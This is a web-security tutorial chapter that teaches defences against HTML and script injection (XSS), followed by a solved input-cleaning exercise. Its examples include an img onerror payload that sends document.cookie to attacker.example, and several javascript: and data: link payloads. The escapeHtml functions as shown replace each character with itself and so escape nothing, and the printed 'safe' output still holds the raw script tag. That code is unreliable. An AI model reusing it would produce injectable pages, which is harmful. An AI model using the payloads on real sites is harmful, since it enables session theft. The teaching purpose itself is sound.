Show contents
Chapter 2 of 6 · 20 min
Security: code injection
By the end of this chapter, you'll be able to
- Explain how an HTML or script injection (XSS) happens
- Display external data safely with textContent or escaping
- Refuse dangerous links such as javascript:
- Place the server-side protections: validation, CSP, cookies
This chapter explains attacks in order to learn how to defend against them. Only try them on your own applications or on environments designed for that purpose: breaking into a system without authorisation is punishable by law in most countries.
HTML injection
The golden rule: any data that comes from outside (form input, URL parameter, API response, database filled by users) is potentially hostile. What happens if you insert it as is into HTML?
const comments = [
"Great workshop, thank you!",
"<b style=\"font-size:4em\">WIN A PHONE</b> <a href=\"https://scam.example\">here</a>",
"<img src=\"x\" onerror=\"fetch('https://attacker.example/?c=' + document.cookie)\">",
];
const html = comments.map((c) => `<li>${c}</li>`).join("\n");
console.log(html);
<li>Great workshop, thank you!</li>
<li><b style="font-size:4em">WIN A PHONE</b> <a href="https://scam.example">here</a></li>
<li><img src="x" onerror="fetch('https://attacker.example/?c=' + document.cookie)"></li>
Inserted with innerHTML, the second comment displays a giant advert with a fake link, and the third runs JavaScript in the page: the onerror attribute fires as soon as the (non-existent) image fails to load. That script has the same rights as your own code: read the page, send requests on the user's behalf, steal data.
With textContent, the browser displays the < and > characters as they are: no code is interpreted.
Text description of the animation
- An attacker posts a "comment" containing HTML.
- The server stores it like any other text.
- The page inserts the comment with innerHTML: the text becomes HTML.
- The browser creates the image, the image fails, and the script runs with the page's rights.
- With textContent, the browser displays the < and > characters as they are: no code is interpreted.
The defence: display text as text
In the DOM, the defence is simple: use textContent (or createTextNode) for any content coming from outside. The browser then displays the characters as they are, without ever interpreting them:
const li = document.createElement("li");
li.textContent = comment; // never: li.innerHTML = comment
list.append(li);
When you have to produce HTML as text (an email template, server-side rendering), you escape the five characters that have a meaning in HTML:
function escapeHtml(text) {
return String(text)
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
}
const comments = [
"Great workshop, thank you!",
"<img src=\"x\" onerror=\"alert('hacked')\">",
"Tom & Jerry <3",
];
console.log(comments.map((c) => `<li>${escapeHtml(c)}</li>`).join("\n"));
<li>Great workshop, thank you!</li>
<li><img src="x" onerror="alert('hacked')"></li>
<li>Tom & Jerry <3</li>
The malicious code is now displayed as harmless text. Serious template engines (and React, Vue, Svelte…) automatically escape everything you insert: flaws mostly appear when that mechanism is bypassed (innerHTML, dangerouslySetInnerHTML, v-html).
Links and URLs
Escaping isn't enough for a link: <a href="javascript:…"> runs code on click, without any special character. So you check the protocol of any address supplied by a user:
function safeLink(address) {
try {
const url = new URL(address);
return url.protocol === "https:" || url.protocol === "http:" ? url.href : null;
} catch {
return null;
}
}
for (const address of ["https://cooperative.example/calendar", "javascript:alert(document.cookie)", "JavaScript:alert(1)", "data:text/html,<script>alert(1)</script>", "not an address"]) {
console.log(safeLink(address) ?? `refused: ${address}`);
}
https://cooperative.example/calendar
refused: javascript:alert(document.cookie)
refused: JavaScript:alert(1)
refused: data:text/html,<script>alert(1)</script>
refused: not an address
new URL(…) parses the address the way the browser would, including upper case; a simple text search such as address.startsWith("javascript:") would let JavaScript: or leading spaces through.
Server-side protections
The browser is only part of the defence. On the server:
- Validate every piece of data received (type, length, format): a check in the form can be bypassed by sending the request by hand.
- Send a Content Security Policy (CSP): an HTTP header that forbids the browser to run scripts that don't come from authorised sources. Even if an injection gets through, its script is blocked.
- Mark session cookies
HttpOnly(unreadable by JavaScript),Secure(sent only over HTTPS) andSameSite(not sent by requests coming from other sites, which limits cross-site request forgery, or CSRF).
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'
Set-Cookie: session=…; HttpOnly; Secure; SameSite=Lax; Path=/
Your turn
Mini-lab: the vulnerable guest bookHTML · CSS · JS
Preview
Console
(Nothing in the console yet.)Your code runs in an isolated page, with no access to this site or the Internet · Ctrl/⌘ + Enter to run · Esc then Tab to leave the editor
Worked exercise
Solved exercise: cleaning a profile
Write a function cleanProfile(input) that receives an object { username, website, bio } from a form. The username must contain 3 to 20 letters (accents included), digits, - or _. The website is optional but must be an https:// address. The bio is cut to 160 characters and returned escaped, ready to be inserted into HTML. The function returns { profile } or { errors }.
Hint 1
/^[\p{L}\p{N}_-]{3,20}$/u accepts letters from every language (\p{L}) and digits (\p{N}); the u flag enables these Unicode classes.Hint 2
new URL(…) throws an error if the address is invalid; then check url.protocol === "https:".Show the solution and common mistakes
const escapeHtml = (t) => String(t).replaceAll("&", "&").replaceAll("<", "<").replaceAll(">", ">").replaceAll('"', """).replaceAll("'", "'");
function cleanProfile(input) {
const errors = [];
const username = String(input.username ?? "").trim();
if (!/^[\p{L}\p{N}_-]{3,20}$/u.test(username)) errors.push("username: 3 to 20 letters, digits, - or _");
let website = null;
if (input.website) {
try {
const url = new URL(input.website);
if (url.protocol !== "https:") throw new Error();
website = url.href;
} catch {
errors.push("website: an https:// address is expected");
}
}
const bio = String(input.bio ?? "").slice(0, 160);
return errors.length ? { errors } : { profile: { username, website, bioHtml: escapeHtml(bio) } };
}
console.log(JSON.stringify(cleanProfile({ username: "Nkechi_92", website: "https://nkechi.example", bio: "I love <code> & photography" })));
console.log(JSON.stringify(cleanProfile({ username: "<script>", website: "javascript:alert(1)", bio: "" })));
console.log(cleanProfile({ username: "Zoë", bio: "x".repeat(500) }).profile.bioHtml.length);
{"profile":{"username":"Nkechi_92","website":"https://nkechi.example/","bioHtml":"I love <code> & photography"}}
{"errors":["username: 3 to 20 letters, digits, - or _","website: an https:// address is expected"]}
160
We validate with an allow-list (what is permitted) rather than a deny-list (what is forbidden): it's impossible to foresee every attack, but easy to describe a valid username. This validation must also exist on the server, which can't trust the browser.
Common mistakes:
- Using
[a-zA-Z]for the username: Zoë, Nkechi or 李明 would be refused. A global application must accept every script. - Escaping the bio before cutting it: the cut can fall in the middle of
&and produce broken HTML. Cut first, escape afterwards.
Summary
- 1Any data coming from outside is potentially hostile.
- 2Inserting external text with innerHTML allows code injection (XSS): use textContent.
- 3To produce HTML as text, escape & < > " ' only once, & first.
- 4Check the protocol of user-supplied links with new URL.
- 5On the server: validation, a CSP header and HttpOnly, Secure and SameSite cookies.
Your progress is saved on this device. Create a free account to keep your progress on all your devices.